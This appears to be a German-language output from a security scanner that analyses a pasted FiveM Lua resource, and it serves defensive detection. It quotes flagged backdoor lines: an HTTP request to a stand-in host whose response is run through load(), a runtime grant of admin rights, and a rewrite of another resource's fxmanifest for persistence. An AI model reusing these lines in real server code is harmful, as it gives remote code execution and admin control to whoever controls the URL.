Generated with devtoolsgg.comDateien: 1 Zeilen: 13[X] 4 kritisch [!] 2 hoch [-] 0 mittel [.] 0 niedrig[X] Lädt Code herunter und führt ihn aus pasted.lua:2 > PerformHttpRequest("https://example-cdn.tld/p.lua", function(code, body) Eine HTTP-Anfrage sitzt wenige Zeilen von einem load()-Aufruf entfernt. Diese Kombination ist eine Remote-Shell: wer die URL kontrolliert, kontrolliert deinen Server. Veröffentlichte Scanner behandeln das als eindeutiges Warnsignal.[X] assert(load(...)) führt einen String als Code aus pasted.lua:4 > assert(load(body))() Die mit Abstand häufigste FiveM-Backdoor-Form. Welcher String auch immer load() erreicht, läuft mit vollen Serverrechten. Verfolge, woher dieser String kommt; wird er heruntergeladen, decodiert oder zur Laufzeit gebaut, betrachte die Resource als kompromittiert.[X] Vergibt Rechte zur Laufzeit pasted.lua:10 > ExecuteCommand(("add_principal identifier.%s group.admin"):format(identifier)) Die Resource gibt einem Identifier Adminrechte, während der Server läuft, es taucht also nie in deiner permissions.cfg auf. Sieh nach, welchem Identifier. Wenn es nicht deiner ist, ist das eine Backdoor.[X] Schreibt ein fxmanifest neu pasted.lua:13 > SaveResourceFile("chat", "fxmanifest.lua", "client_script 'x.lua'", -1) Ein Manifest zur Laufzeit zu ändern fügt einer Resource ein Script hinzu, ohne dessen eigene Dateien anzufassen. Dafür gibt es keinen legitimen Grund.[!] Ausgehende HTTP-Anfrage pasted.lua:2 > PerformHttpRequest("https://example-cdn.tld/p.lua", function(code, body) Prüfe das Ziel. Eine Licence-Prüfung an die Domain des Autors ist normal; eine Anfrage an eine Domain, die du nicht kennst, erst recht wenn sie Identifier oder Config mitschickt, nicht.[!] Schreibt zur Laufzeit eine Resource-Datei pasted.lua:13 > SaveResourceFile("chat", "fxmanifest.lua", "client_script 'x.lua'", -1) So überlebt eine Backdoor einen Neustart: sie schreibt sich selbst neu, oder eine andere Resource, oder ein fxmanifest, nachdem sie entfernt wurde. Dokumentiertes Verhalten der Familien Blum Panel und Cipher. Sieh nach, welche Resource und welche Datei geschrieben wird. 6 pasted.luaStatische Heuristiken, kein Beweis: das markiert Formen, dieüblicherweise falsch sind, und schweigt zu Logik, die es nicht sieht.Lies die markierten Zeilen, und vergleiche die Resource dann mit derOriginalveröffentlichung ihres Autors.